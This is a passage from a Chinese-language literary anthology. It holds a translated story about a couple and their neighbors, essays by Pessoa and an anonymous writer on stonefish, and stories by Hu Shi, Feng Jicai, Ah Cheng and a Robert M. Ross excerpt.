　　他一只手扶着栅栏，用另一只手帮忙，对着花就尿上了。他就那样从栅栏这头走到那头，一棵花都没有漏浇。尿完后，他把他那话儿抖了抖，拉上裤链又回头走过车道。他在砾石路上差点滑了一下，不过又稳住身子，骂了一句进屋，又是砰的一声关上门。

　　我转过身时，我妻子身子往前倾着，在看着我。她扬了下眉毛。“别又来了。”她说。

　　我点点头。

　　“有他和那条狗，那里还能长出什么来倒是奇迹呢。”

　　我宁愿聊聊别的，想到那些花让我挺不痛快。邻居那个女的在大喊大叫。“你听。”我说。

　　“我以前同情她。”我妻子说，“现在不了。从上个月就不了。”

　　“我也是。”我说，一边努力回想上个月发生了什么事。我也不同情那个女的，不过说起来，我从来就没有同情过她。她会吼那个小孩，原谅我吧，但是我不准备为一个那样对待小孩的人感到很激动。她会尖声说出像“我想我跟你说过待在自己的房间里！”这种话，而那个小孩儿还不会说话呢。

　　至于她的长相，我想你得承认她长得漂亮，但不会一直漂亮下去，骨架不行，有点肌肉松驰的样子，似乎除了油炸圈饼和奶昔，她从来别的什么都不吃。她皮肤白，那个小孩儿长得像她，这倒不是说你想着应该像那个男的，长得黑，身上还毛烘烘的。那个男的就算穿着衬衫，你也能看出他的背部和肩膀上全是汗毛，茂盛，弹簧一样，就像艾尔达犬的毛。

　　现在他们全都闹起来了，还把音响开得震天响，那种乐队的音乐。“我可怜的是那个小孩儿。”我说。

　　我妻子用手捂着耳朵。“我一分钟也忍受不了了。”她说。然后又拿开手。“也许电视上有什么看的。”她坐起来，“看看约翰尼的节目上是哪个嘉宾。”

　　我打开电视。电视以前在书房，但是几年前我妻子生病时，我把它搬过来了。当时我自己照顾她——做饭什么的，我甚至做到了不用她下床就能换床单。我妻子病好后，我一直想把电视再搬回书房，却一直拖着没搬。电视放在我做的一张小桌子上，在我们两张床之间。约翰尼在跟小萨米·戴维斯说什么，埃德·麦克马洪笑弯了腰。他总是这么快活。假如你要踏上一段漫长的航程，带上埃德·麦克马洪倒是不错。

　　我妻子想知道别的还放什么。“《黄金国》，”我读道，“‘一个节奏明快的冒险故事，关于一群镇民去寻找传说中的黄金城。’旁边标着两颗半星。”

　　“哪里的镇民？”我妻子问。

　　“上面没写。”

　　最后我们就看那部电影。一个盲人来到一个小镇，说他去过黄金国，他会带探险队去那里，报酬是获益也分他一份。他失明，但是他们骑马前去时，他会一个个说出那些显著标记。一开始人们取笑他，但是最后，所有那些最有权势的镇民碰了一下头，决定试试。他们很快就遭到阿帕奇族印第安人袭击，探险队里有几个人想返回，但是每次他们准备回头时，那个盲人又告诉他们一个显著标记，所以他们一直骑马前行。

　　隔壁那个女人快疯掉了。她跟他说的话，绝对不会再有人那样对另外一个人说。这让我妻子感到不安。她看着我。“我能过来吗？”她说，“只是串串门？”

　　我把毛毯拉开，她钻了进来。那张床一个人睡着挺好，但是两个人睡就挤了。我们侧躺着，我在后面。我不是有意，但是没过多久，我那话儿自个儿硬起来。我搂着妻子，手往上放到她的双峰那里，然后往下摸过平原，朝着下面而去。

　　“嗨，”她说，“别摸索，今天晚上别了。”

　　“对不起。”我说。

　　“我只是串串门不行？”

　　“别提了，我说过对不起了。”

　　那些镇民正在穿越沙漠，马上就要没水喝，他们嘴唇干裂。尽管那个盲人已经警告过，但还是有个人喝了被投了毒的井水，死相恐怖。当天晚上，另外的人围着篝火吵了起来。他们多数都想回家。“这根本不是白人该来的地方。”一个人说，“照我看，从来没有任何人来过这里。”他说。但是那个盲人描述了一块金子，又大，纯度又高，你要是直接去看，会把你的眼睛灼瞎。“我本来应该知道的。”他说。他说完后，那些镇民都沉默了，一个个走开躺在他们的铺盖卷上。他们头枕着手看着天上的星星。一条山狗叫了一声。

　　听到山狗叫，我想起我妻子为什么不再同情邻居那个女的了。那是个星期一的晚上，大约一个月前，我下班后刚到家，邻居那个男的开始打那条狗，我不是说仅仅揍一两下。他在打狗，一直打，直到那条狗叫都叫不动了：能听到那条可怜的畜生的叫得变了声。最后全停了。几分钟后，我听到我妻子“哦！”了一声，我去厨房看看出了什么事。她站在窗前，那面窗户对着邻居家的厨房。那个男的让她妻子背靠冰箱，两人双膝相错，正亲得很起劲。之后的一两个小时里，我妻子几乎一句话都没说，后来说她再也不会把同情心浪费到那个女人身上。

　　那边安静下来。我妻子睡着了，我的胳膊让她枕着，也麻掉了。我把胳膊抽出来，手指伸开又合拢，心里在想要不要叫醒她。我喜欢睡在自己的床上，这张床我们俩睡不够宽。最后我决定一个晚上换换地方也没什么不好。

　　我起来收拾了一会儿盆栽，浇了水，有些搬到窗户那里，有些往后面搬。我把那盆枝茎开始长得细长的锦紫苏修剪了一下，把剪下来的放在窗台上的一杯水里。邻居那边除了照在卧室窗户上的那盏灯，别的灯全关了。我还在想着他们所过的生活和那种生活怎样持续啊持续，直到那似乎就是他们想过的生活。每个人都总是说人类很善于适应环境，这有多么了不起，但是我拿不准。我有个朋友在伊斯坦布尔看到有人背着一架三角钢琴在街上走，人们只是绕过他继续走。多么惊人啊，我们对任何事情都会习以为常。

　　我关了电视，睡在我妻子那张床上。她的味道从床褥上升起来，芳香，强烈，让我有点头晕，但是后来我喜欢，它让我想到了栀子花。

　　我之所以没有把剩下的电影看完，是因为我已经看到了会怎样结尾。那些镇民会自相残杀，死光光，很可能离传说中的黄金城只有十英尺，那个盲人则会一个人跌跌撞撞地走进去，不知道自己终于回到了黄金国。

　　我能够编出一部比那更好的电影。我的电影会是关于一支探险队的，有男有女，他们抛下居所、工作、家人——他们所知的一切。他们横渡大海，到达他们的地图上没有标出的国家的海岸时，船失事了，淹死一个人，另外一个人被野兽攻击，被吃掉了。但是其他人想继续前进。他们趟过河流，乘狗拉雪橇穿越一片广袤的冰川，这样几个月时间就过去了。还在冰川上时，他们的食物吃完了，有一阵子，好像他们可能会互相动手，但是没有，最后他们把狗吃掉，问题解决了，这是这部电影中让人难过的地方。

　　最后，我们看到那些探险者躺在长满白色花的草地上。花朵上沾了露水，湿漉漉的，贴着他们的身体，耧斗菜、铁线莲、矮百合、满天星、飞燕草、鸢尾花、芸香花的花瓣把他们完全盖住了，把他们变成了白色，分不清谁是谁，分不清是男是女。太阳出来了，他们站起来，举起手臂，像是一片从无人迹之地上的白色树木。

一个人是群体

费尔南多 · 佩索阿

　　从天而降的倾盆大雨终于停歇，天空洁净，大地潮湿，闪闪发光——世间的一切在大雨留下的凉爽中欣欣向荣，生活重新变得特别澄明。大雨给每一颗灵魂提供了蓝天，为每一个心胸提供了新鲜。

　　无论我们喜欢还是不喜欢，我们都是这一刻所有形式和色彩的奴隶，是天空和大地的臣民。我们对周围一切漫不经心也好，感怀至深也好，下雨的时候一如放晴的时候，心境都不会固持不变。只要一下雨，或者一停雨，难以察觉的变化便会发生，也许只存在于内心深处最为抽象的某种情绪，才在此时为我们所感。我们感触到这些变化，但对此并无了解，因为我们感觉天气的时候，甚至并未察觉出自己在这样做。

　　我们中的每一个人都是若干人，是很多人，是丰富的自我，比起我们自己每一个人的无限增殖更为丰富。这就是为什么一个无视周围一切的人，也可以因周围的一切或喜或悲，从而有别于自己。我们的存在是一片巨大的殖民地，有很多不同类型的人，各别相异的思想和感觉全都共处其中。今天，当工作不足带给我合法空闲，让我记下这少许印象的时候，我是小心抄写它们的人，是刚才还在闲中得乐的人，是遥望天空哪怕并不能真正看清什么的人，是思考这一切的人，是轻易得到生理感觉并且注意自己双手一直有些发冷的人。像一个千差万别但又紧密聚合的群体，我的整个世界由不同的灵魂组成，彼此并不了解对方的角色，却聚多为一，组合成孤身之影——某个会计之身，一个靠近 B 先生那张高桌的沉静之身。在这里，我找到了他从我这里借走的吸墨纸。

丑鱼多滋味

佚名

　　很多长相奇特的东西味道都不错，大概是它丑陋的外形，反而得以保全内在的完好。很多好吃的鱼，都挺丑，比如安康鱼之类。之前我觉得安康鱼是世界上最丑的鱼。但现在有必要修正—下，石头鱼似乎更丑，真不愧是丑鱼家族的骄傲一员。相信世界上一定还有更丑的鱼。所以看到丑陋的鱼，千万不要有心理障碍，也许它的味道出人意料。

　　石头鱼，在许多海域都有分布。它天性颇懒惰，喜欢待在海底和礁石旁，一动不动的时候，就如一块石头一般。照例说，这样的动物，是不太容易成为人类的口中之物的，但是很“不幸”，吃石头鱼的历史其实挺早。

　　就连李时珍在他的《本草纲目》里也写过，石头鱼是可以用来食补的。虽然在内地，吃石头鱼的风气还不浓，但在香港，石头鱼一直都入菜。虽然石头鱼的外表惊世骇俗至此，吃它的方法却简单之至，一般都是整条鱼用来炖汤。汤味鲜美，鱼肉雪白，只吃过石头鱼，没有看过石头鱼真容的，一定想不到它的本来面貌。

　　但石头鱼仍然不为很多人熟知。究其原因，是石头鱼的处理相当不便。此鱼背上长有三根有毒的背鳍，若手不幸碰到，轻者肿痛，重者甚至引发昏迷。此外，石头鱼那层丑陋的鱼皮，要去除显然也颇费工夫。而它又没有河豚一般的盛名，所以，有人情愿“拼死吃河豚”，却未必愿意吃石头鱼，虽然后者的危险度要低于前者（石头鱼只是背鳍有毒而已）。

　　一般做石头鱼的餐厅，需要配备专业人员处理石头鱼，像工具、手套之类必不可少。石头鱼之毒虽不及河豚，但也有相当的危险性，如果手碰到鱼鳍，会立刻引起麻痹。不及时处理的话，也是有生命危险的。

　　不过，越毒越好吃这句话，果然是有道理的。揭开丑陋的鱼皮，石头鱼的鱼肉居然是相当的雪白和鲜美，清蒸、红烧、做汤皆宜。

　　最为老少皆宜的一款乃是石头鱼饺，鱼肉做成馅料，饺子则做成石头鱼的形状——原来，忽略其丑陋的外皮，这鱼儿居然是拙态十足，有相当可爱的一面呢。

一个问题

胡适

　　我到北京不到两个月。这一天我在中央公园里吃冰，几位同来的朋友先散了；我独自坐着，翻开几张报纸看看，只见满纸都是讨伐西南和召集新国会的话。我懒得看那些疯话，丢开报纸，抬起头来，看见前面来了一男一女，男的抱着一个小孩子，女的手里牵着一个三四岁的孩子。我觉得那男的好生面善，仔细打量他，见他穿一件很旧的官纱长衫，面上很有老态，背脊微有点弯，因为抱着孩子，更显出曲背的样子。他看见我，也仔细打量。我不敢招呼，他们就过去了。走过去几步，他把小孩子交给那女的，他重又回来，问我道：“你不是小山吗？”我说，“正是。你不是朱子平吗？我几乎不敢认你了！”他说，“我是子平，我们八九年不见，你还是壮年，我竟成了老人了，怪不得你不敢招呼我。”

　　我招呼他坐下，他不肯坐，说他一家人都在后面坐久了，要回去预备晚饭了。我说，“你现在是儿女满前的福人了。怪不得要自称老人了。”他叹口气，说，“你看我狼狈到这个样子，还要取笑我？我上个月见着伯安仲实弟兄们，才知道你今年回国。你是学哲学的人，我有个问题要来请教你。我问过多少人，他们都说我有神经病，不大理会我。你把住址告诉我，我明天来看你。今天来不及谈了。”

　　我把住址告诉了他，他匆匆的赶上他的妻子，接过小孩子，一同出去了。

　　我望着他们出去，心里想到：朱子平当初在我们同学里面，要算一个很有豪气的人，怎么现在弄得这样潦倒？看他见了一个多年不见的老同学，一开口就有什么问题请教，怪不得人说他有神经病。但不知他因为潦倒了才有神经病呢？还是因为有了神经病所以潦倒呢？……

　　第二天一大早，他果然来了。他比我只大得一岁，今年三十岁。但是他头上已有许多白发了。外面人看来，他至少要比我大十几岁。

　　我问他什么问题。他说，“我这几年以来，差不多没有一天不问自己道：人生在世，究竟是为什么的？我想了几年，越想越想不通。朋友之中也没有人能回答这个问题。起先他们给我一个‘哲学家’的绰号，后来他们竟然叫我做朱疯子了！小山，你是见多识广的人，请你告诉我，人生在世，究竟是为什么的？”

　　我说，“子平，这个问题是没有答案的。现在的人最怕的是有人问他这个问题。得意的人听着这个问题就要扫兴，不得意的人想着这个问题就要发狂。他们是聪明人，不愿意扫兴，更不愿意发狂，所以给你这个疯子的绰号，就算完了。——我要问你，你为什么想到这个问题上去呢？”

　　他说，“这话说来很长，只怕你不爱听。”

　　我说我最爱听。他叹了一口气，点着一根纸烟，慢慢的说。以下都是他的话。“我们离开高等学堂那一年，你到英国去了，我回到家乡，生了一场大病，足足的病了十八个月。病好了，便是辛亥革命，把我家在汉口的店业就光复掉了。家里生计渐渐困难，我不能一出来谋事。那时伯安石生一班老同学都在北京，我写信给他们，托他们寻点事做。后来他们写信给我，说从前高等学堂的老师陈老先生答应要我去教他的孙子。我到了北京，就住在陈家。陈老先生在大学堂教书，又担任女子师范的国文，一个月拿得钱很多，但是他的两个儿子都不成器，老头子气得很，发愤要教育他的几个孙子成人。但是他一个人教两处书，那有工夫教小孩子？你知道我同伯安都是他的得意学生，所以他叫我去，给我二十块钱一个月，住的房子，吃的饭，都是他怕，总算他老先生的一番好意。“过了半年，他对我说，要替我做媒。

　　说的是他一位同年的女儿，现在女子师范读书，快要毕业了。那女子我也见过一两次，人倒很朴素稳重。但是我一个月拿人家二十块钱，如何养得起家小？我把这个意思回复他，谢他的好意。老先生有点不高兴，当时也没说什么。过了几天，他请了伯安仲实弟兄到他家，要他们劝我就这门亲事。他说，‘子平的家事，我是晓得的。他家三代单传，嗣续的事不能再缓了。二十多岁的少年，那里怕没有事做？还怕养不活老婆吗？我替他做媒的这头亲事是再好也没有的。女的今年就毕业，毕业后还可在本京蒙养院教书，我已经替她介绍好了。蒙养院的钱虽然不多，也可以贴补一点家用。他再要怕不够时，我把女学堂的三十块钱让他去做。我老人，大学堂一处也够我忙了。你们看我这个媒人总可算是竭力报效了。’“伯安弟兄把这番话对我说，你想我如何能再推辞。我只好写信告诉家母。家母回信，也说了许多‘三代单传，不孝有三，无后为大’的话。又说，‘陈老师这番好意，你稍有人心，应该感激图报，岂可不识抬举？”“我看了信，晓得家母这几年因为我不肯娶亲，心里很不高兴，这一次不过是借发点牢骚。我仔细一想，觉得做了中国人，老婆是不能不讨的，只好将就点罢。“我去找到伯安仲实，说我答应订定这头亲事，但是我现在没有积蓄，须过一两年再结婚。“他们去见老先生，老先生说，’女孩子今年二十三岁了，她父亲很想早点嫁了女儿，好替他小儿子娶媳妇。你们去对子平说，叫他等女的毕业了就结婚。仪节简单一点，不费什么钱。他要用木器家具，我这里有用不着的，他可去搬去用。我们再替他邀一个公份，也就可以够用了。’“他们来对我说，我没有话可驳回，只要答应了。过了三个月，我租了一所小屋，预备成亲。老先生果然送了一些破烂家具，我自己添置了一点。伯安石生一些人发起一个公份，送了我六十多块钱的贺仪，只够我替女家做了两套衣服，就完了。结婚的时候，我还借了好几十块钱，才勉强把婚事办了。

　　“结婚的生活，你还不曾经过。我老实对你说，新婚的第一年，的确是很有乐趣的生活。我的内人，人极温和，她晓得我的艰苦，我们从不肯乱花一个钱。我们只用一个老妈，白天我上陈老家教书，下午到女师范教书，她到蒙养院教书。晚上回家，我们自己做两样家乡小菜，吃了晚饭，闲谈一会，我改我的卷子，她陪我坐着做点针线。我有时做点文字卖给报馆，有时写到夜深才睡。他怕我身体过劳，每晚到了十二点钟，她把我的墨盒纸笔都收了去，吹灭了灯，不许我再写了。“小山，这种生活，确有一种乐趣。但是不到七八个月，我的内人就病了，呕吐得很利害。我们猜是喜信，请医生来看，医生说八成是有喜，我连忙写信回家，好叫家母欢喜。老人家果然喜得很，托人写信来说了许多孕妇保重身体的法子，还做了许多小孩的衣服小帽寄来。“产期将近了。她不能上课，请了不一位同学代她。我添雇了一个老妈子，还要准备许多临产的需要品。好容易生下一个男孩儿来。产后内人身体不好，乳水不够，不能不雇奶妈。一家平空减少了每月十几块钱的进帐，倒添上了几口人吃饭拿工钱。家庭的担负就很不容易了。过了几个月，内人的身体复原了，仍旧去上课，但是记挂着小孩子，觉得很不方便。看十几块钱的面子上，只得忍着心肠做去。不料陈老先生忽然得了中风的病，一起病就不能说话，不久就死了。他那两个宝贝儿子，把老头子的一点存款都瓜分了，还要赶回家去分田产，把我的三个小学生都带回去了。我少了二十块钱的进款，正想寻事做，忽然女学堂的校长又换了人，第二年开学时，他不曾送聘书来，我托熟人去说，他说我的议论太偏僻了，不便在女学堂教书。我生了气，也不屑再去求他了。伯安那时做众议院的议员，在国会里颇出点风头。我托他设法。他托陈老先生的朋友把我荐到大学堂去当一个事务员，一个月拿三十块钱。我们只好自己刻苦一点，把奶妈和那添雇的老妈子辞了。每月只吃三四次肉，有人请我吃酒，我都辞了不去，因为吃了人的，不能不回请。戏园里是四年多不曾去过了。

　　但是无论我们怎样节省，问题不够用。过了一年又添了一个孩子。这回我的内人自己给他奶吃，不雇奶妈了。但是自己的乳水不够，我们用开成公司的豆腐浆代它，小孩子不肯吃，不到一岁就殇掉了。内人哭的什么似的。我想起孩子之死全系因为雇不起奶妈，内人又过于省俭，不肯吃点滋养的东西，所以乳水更不够。我看见内人伤心，我心里实在难过。后来时局一年坏似一年，我的光景也一年更紧似一年。内人因为身体不好，辍课太多，蒙养院的当局颇说嫌话，内人也有点拗性，索性辞职出来。想找别的事做，一时竟寻不着。北京这个地方，你想寻一个三百五百的阔差使，反不费力。要是你想寻二三十块钱一个有的小事，那就比登天还难。到了中交两行停止兑现的时候，我那每月三十块钱的票子更不够用了。票子的价值越缩下去，我的大孩子吃饭的本事越来越大。去年冬天，又生了一个女孩子，就是昨天你看见我抱着的。我托了伯安去见大学校长，请他加我的薪水，校长晓得我做事认真，加了我十块钱票子，共是四十块，打个七折，四七二十八，你替我算算，房租每月六块，伙食十五块，老妈工钱两块，已是二十三块了。剩下五块大钱，每天只派着一角六分大洋做零用钱。做衣服的钱都没有，不要说看报买书了。大学图书馆里虽然有书有报，但是我一天忙到晚，公事一完，又要赶回家帮内人照应小孩子，哪里有工夫看书阅报？晚上我腾出一点工夫做点小说，想赚几个钱。我的内人向来不许我写过十二点钟的，于今也不来管我了。她晓得我们现在所处的境地，非寻两个外块钱不能过日子，所以只好由我写到两三点钟才睡。但是现在卖文的人多了，我又没有工夫看书，全靠绞脑子，挖心血，没有接济思想的来源，做的东西又都是百忙里偷闲潦草做的，哪里会有好东西？所以往往卖不起价钱，有时原稿退回，我又修改一点，寄给别家。前天好容易卖了一篇小说，拿着五块钱，所以昨天全家去逛中央公园，去年我们竟不曾去过。我每天五点钟起来，——冬天六点半起来——午饭后靠着桌子偷睡半个钟头，一直忙到夜深半夜后。忙的是什么呢？我要吃饭，老婆要吃饭，还要喂小孩子吃饭——所忙的不过为了这一件事！我每天上大学去，从大学回来，都是步行。这就是我的体操，不但可以省钱，还可给我一点用思想的时间，使我可以想小说的布局，可以想到人生的问题。有一天，我的内人的姐夫从南边来，我想请他上一回馆子，家里没有钱，我去问同事借，那几位同事也都是和我不相上下的穷鬼，那有钱借人？我空着手走回家，路上自思自想，忽然想到一个大问题，就是‘人生在世，究竟是为什么的？’……我一头想，一头走，想入了迷，就站在北河沿一棵柳树下，望着水里的树影子，足足站了两外钟头。等到我醒过来的走回家时，天已黑了，客人已经走了半天了！自从那一天起到现在，几乎没有一天我不想这个问题。有时候，我从睡梦里喊着‘人生在世，究竟是为什么的？’小山，你是学哲学的人。像我这样养老婆，喂小孩子，就算做了一世的人吗？”……

张大力

冯骥才

　　张大力，原名叫张金璧，津门一员赳赳武夫，身强力蛮，力大没边，故称大力。津门的老少爷们喜欢他，佩服他，夸他。但天津人有自己夸人的方法。张大力就有这么一件事，当时无人不晓，现在没人知道，因此写在下边——

　　侯家后一家卖石材的店铺，叫聚合成。大门口放一把死沉死沉的青石大锁，锁把也是石头的。锁上刻着一行字：

　　凡举起此锁者赏银百两。

　　聚合成设这石锁，无非为了证明它的石料都是坚实耐用的好料。

　　可是，打石锁撂在这儿，没人举起过，甚至没人能叫它稍稍动一动，您说它有多重？好赛它跟地壳连着，除非把地面也举到头上去！

　　一天，张大力来到侯家后，看见这把锁，也看见上边的字，便俯下身子，使手问一问，轻轻一撼，竟然摇动起来，而且赛摇一个竹篮子。这就招了许多人围上来看。只见他手握锁把，腰一挺劲，大石锁被他轻易地举到空中。胳膊笔直不弯，脸上笑容满面，好赛举着一大把花儿！

　　众人叫好呼好喊好，张大力举着石锁，也不撂下来，直等着聚合成的伙计老板全出来，看清楚了，才将石锁放回原地。老板上来笑嘻嘻说：

　　“原来张老师来了，快请到里头坐坐，喝杯茶！”

　　张大力听了，正色道：“老板，您别跟我弄这套您的石锁上写着嘛，谁举起它，赏银百两，您就快把钱拿来，我还忙着哪！”

　　谁料聚合成的老板并不理会张大力的话。待张大力说完，他不紧不慢地说道：“张老师，您只瞧见石锁上边的字了，可石锁底下还有一行字，您瞧见了吗？”

　　张大力怔了。刚才只顾高兴，根本没瞧见锁下边还有字。不单他没瞧见，旁人也都没瞧见。张大力脑筋一转，心想别是老板唬他，不想给钱，以为他使过一次劲，二次再举不起来了，于是上去一把又将石锁高高举到头顶上，可抬眼一看，石锁下边还真有一行字，竟然写着：

　　惟张大力举起来不算。

　　把这石锁上边和下边的字连起来，就是：

　　凡举起此锁赏银百两，惟张大力举起来不算！

　　众人见了，都笑起来。原来人家早知道惟有他能举起这家伙。而这行字也是人家佩服自己、夸赞自己——张大力当然明白。

　　他扔了石锁，哈哈大笑，扬长而去。

豆腐

阿城

　　孙福九十多岁去世，去世时略有不满，不过这不满在孙福的曾孙辈看来是老糊涂了，他老人家要吃豆腐渣。

　　做豆腐是先将黄豆，大豆，或黑豆磨成浆。你如果说，老孙，这黄豆和大豆不是一种豆子吗？孙福就先生一下气，然后不生气，嘟嚷着说：懂个什么。

　　豆子磨成浆后，盛在锅里掺水煮，之后用布过滤，漏下的汁放在瓦器里等着点卤，布里剩下的就是豆腐渣。豆渣是白的，放久发黄，而且发酸变臭，刚滤好时，则有一股子熟豆子的腥香味儿。豆渣没有人吃，偶有人尝，说，磨老了，或者，磨嫩了。磨老了，就是磨过头了，细豆渣漏过布缝儿，混在豆浆里，这样子做出的豆腐里纤维多，不好吃。磨嫩了，就是豆子磨得粗，该成浆的没成浆，留在豆渣里，点浆成豆腐，豆腐当然就少。

　　磨嫩了就需要查查磨。掀开上磨扇，看看是不是磨沟儿磨浅了，或有残。磨沟儿磨浅了，就要剔沟儿。残了不好办，要把磨扇削下去一层，再踢出沟儿来。

　　做豆腐最难的是点卤。

　　人常说，画龙难点睛。孙福说，那又什么难？画坏了，重画就是了，豆腐点坏了，重来不了，糟蹋一锅。

　　点卤前，豆浆可以喝，做豆腐的师傅常常喝豆浆，却不一定吃豆腐，道理在豆浆养人。浆点好卤，凝起来，颤颤的，就是豆腐脑儿。凝起来的豆腐脑儿也在布里，系好，放重物压，水慢慢被挤出布外，布里就是豆腐了。压久了，布里的是豆腐干儿。

　　打开布豆腐还是热的，用刀划成一块一块。当天卖不了的，放在冷水里。

　　孙福学徒做豆腐时，十几岁，还没碰过女人。孙福学点卤，点不好，师傅说，碰过女人没有？孙福摇摇头，脸很红。师傅说，记下，好豆腐就像女人的奶子。

　　孙福后来讨了女人，摸过之后，叹一口气，说，豆腐，豆腐。孙福的女人听了奇怪，说你做豆腐做出病啦！

　　第一次世界大战，中国在最后关头赌博一样地参战。孙福当民工，到欧洲打仗去，挖战壕。不久，被德国兵俘虏了，还是挖战壕。

　　一天，中国战俘被叫在一起，排成一排，命令会做豆腐的站出来。孙福头皮一阵发麻，以为豆腐是罪过，是死罪，但还是站出去。又命令会木匠的站出来，结果是除了会这两样的都赶回去接着挖战壕。

　　孙福指挥着几个德国人做豆腐，给一个在青岛住过的军官吃。没有几天，德奥战败，孙福又被法国人俘虏了，也没怎么样，接着给在广州住过的一个军官做豆腐吃。做了一次，法国人不满意。孙福想起南方用石膏点豆腐，就换石膏做卤，法国人说这才是中国豆腐呀。

　　孙福的曾孙后来怨祖爷爷，为甚么不在外国留下来，要不然现在一家子不都是法国人了？孙福说，幸亏我回来了，要不然你小兔崽子还不是个杂种？孙福想说我是舍不得你那豆腐祖奶奶啊。

　　孙福当年回来的时候，正是五四运动，孙福不懂，还是做豆腐。后来中学里的共青团听说孙福是经过五四的老人，于是来请孙爷爷讲五四革命传统，孙福讲来讲去，讲的是在法国做豆腐。

　　孙福长寿，活到改革开放，只是一吃豆腐就摇头点头，说机器做的豆腐不行，孙媳妇说机器还是由日本引进的哪！孙福用没牙的嘴说，奶是只有人的手才做得出。没有人听懂老头子在说什么，家里人是很久听不懂老头子有时候在说什么了。

　　家里人最后一次听懂孙福说的话是，给我弄口豆腐渣。

爱时而脆弱

罗伯特 · M · 罗斯

　　再怎么伤心的人，也不得不吃东西。咒骂了女人、食物及其他人们追之不倦的事物之后十六个小时，丹顿来到街角的一家杂货店，吞了一份凤梨圣代，两份花生酱三明治，一块掺了麦芽糖的双层巧克力，外加一袋饼干。店里有个女孩。女孩坐下时，他瞥了一眼，站起来时他瞥了一眼；离开时，他瞥了两眼。付过账离开了杂货店，他朝北走去。这可是与他原来打算走的方向一百八十度的不同。他希望那女孩的步伐别迈得那么大，要从一街之遥一下子赶上去，他办不到。

　　“嗨！你也走这条路？”他说。他以为这个愚蠢的话引子，让他有机会再问：“你觉得某某怎么样？”或一些相当有意思的话。这一回这个什么也没说，她只是把头转过来，长长的睫毛对着他眨了眨，然后继续坚定地走下去。

　　“假如你迷了路，”他又试了一次，“我可以告诉你你在那里，这个地方我住了好多年了。”

　　女孩仍然不为所动。他开始觉得困窘，不过还不到足以教他打退堂鼓的地步。

　　“左边是菲尔德宅子，”他说。

　　“自从菲尔德先生买下它以后，它就一直叫做菲尔德宅子。他们的女儿是一丝不苟型的，但儿子们却油里油气。现在你正经过一块'荒地'，我们管这种地方叫'荒地'直到有人在上面盖房子为止。不过还是别期待了。如果我是你，我不会在这种地方停留的。”

　　女孩是没有停留。她有着清晰的侧轮廓，尖端微翘的俏皮的鼻子。虽然吃了闭门羹，丹顿的耳朵却痒了起来。每当有爱的钟声响起时，他的耳朵一定觉得酥痒。

　　“我不知道为什么女孩子们都不喜欢我。”

　　他心中呐喊着。

　　“我的'五点钟忧郁症'已经痊愈了，我敢打赌——”这完全是一次一厢情愿的打赌。女孩倏地向左转，丹顿的话凝在半空中。眼看着她的身影消失在一幢既长且广的房子里，他叹了口气。不过至少知道她是谁。她八成姓弗烈格，这片老格利斯渥德区是给弗烈格家租去的。这种安慰虽小，毕竟是丹顿需要的。而女孩始终没有回头。那天晚餐的时候，他母亲说：“丹顿，我很高兴你自己觉得好点了，但是你看起来不像。人不可能没有吃饭而不将饥饿的神情显示在神色上的。”

　　“也许他又恋爱了。”

　　他父亲猜测着。

　　“你和玛格莉特重修旧好了？”母亲问。

　　“玛格莉特！”丹顿哼着说。“那个蠢货！”

　　“丹顿！”母亲惊呼起来。

　　“青春易逝啊！”老温特渥斯下了这样一句评语。

　　“我现在交了一个新的女朋友。”

　　丹顿鲁莽地宣布。

　　“真的？”温特渥斯太太问？“这次是谁？”

　　“弗烈格小姐。”

　　“还好是位小姐，”温特渥斯先生说。

　　“她叫什么名字？”

　　“她自我介绍时说她是弗烈格小姐。”

　　“喔？那你就称自己是温特渥斯先生？”父亲说。

　　“你反正不知道她的名字，”母亲说。

　　“是不是？”丹顿郑重地站了起来。

　　“当你们在我这个年纪时，大概不会随便跟刚认识的人深交吧！”他不悦地说。次日，丹顿向父亲借了一套白色法兰绒装，从阁楼里挖出一把用旧了网球拍，然后上街闲逛。他步伐踱得慢极了，慢得前后让五个家伙对着他大鸣喇叭，其中有三个还鸣了两次，因为他们不得不绕道而行。终于，他的耐心有了代价。他猛练反手拍，直到她走近。然后丹顿开口：“你好！我相信我们以前见过面。”

　　那次邂逅，显然并没有给她留下深刻的印象。很快地她又走了。丹顿一下子坐在消防栓上，一下子坐在街旁镶路石上，一下子又坐到地上。到那女孩回来为止，他一共等了四十分钟。丹顿这回换了个姿态。

　　“抱歉，”他谦卑地说。

　　“我真的很呆，但我只是想见一见你。我的名字是丹顿——丹顿。温特渥斯。你姓弗烈格，至于其他的我就不晓得了。”

　　有那么一刻美妙的时光，丹顿觉得全身浸润在她湛蓝冷漠的眼神里。但很快地，这眼神随着她的后退移开了。丹顿有好几个礼拜没跟韦伯。哈斯汀说话，因为他们为了一个女孩子正闹得不愉快。丹顿收起了自尊，打了电话给韦伯。

　　“好吗？”他说。

　　“出来喝杯可乐吧！”直到扯到正题前，韦伯已经喝掉他三杯可乐。

　　“你认识住在你家后面的女孩吗？”他问得漫不经心。

　　“哪一个？”

　　“搬到格利斯渥德区那个。”

　　“认识又怎样？”

　　丹顿涨红了脸，双手紧抓着椅子的扶手，黏下一团口香糖。他努力保持平稳的声调。

　　“假如你认识的话，也许可以帮我引见一下。”

　　“你要见她？”韦伯挑衅着说。

　　“你是本镇的大情圣啊？”这个占了地理位置便宜的人，竟然如此不可理喻。尚未在糖果盒边正式打一回合架，丹顿就被判出局了。然而丹顿并不太愤怒，因为韦伯也曾受过他这种气。丹顿思索着其他可能帮得上忙的人。他那伙朋友大半都出城度暑假了。于是，他满心不情愿地找上了珍妮。弗瑞斯特——一个有着一口暴牙，动不动就咯咯笑的女孩。

　　“珍妮，”他说。

　　“我一直满喜欢你的。”

　　珍妮咯咯地笑了。

　　“下一次我们开车去兜风时，希望你也来。事实上到时候我们需要有人担任烹调的工作，所以希望能再找一个女孩来。你有没有什么新朋友可以带来？”珍妮摇了摇头。丹顿毫不在意她给了一个否定的答案。他接着问：“住在格利斯渥德区的那个女孩怎样？”

　　“梅琳。弗烈格吗？她不会去的。”

　　“为什么？”

　　“她不喜欢你，”珍妮又咯咯地笑了起来。“她觉得你乳臭未干。”

　　“听好，珍妮！”他一脸严肃地说。

　　“我才不是乳臭未干。要是在学期期间，我就有办法证明我不是。她会在足球队、篮球队，还有学生集会中看到我。然后她会明白我的生活有多么严谨。”

　　这一次，令他宽心的是，珍妮并没有那样笑。她反而皱起眉头，以充满智慧的口吻说：“人们一旦对他人有了错误的印象，想要改变他们的成见是很难的。梅琳觉得你没有深度，你应该主动有所表示，让她明白你的诚意和目标。”

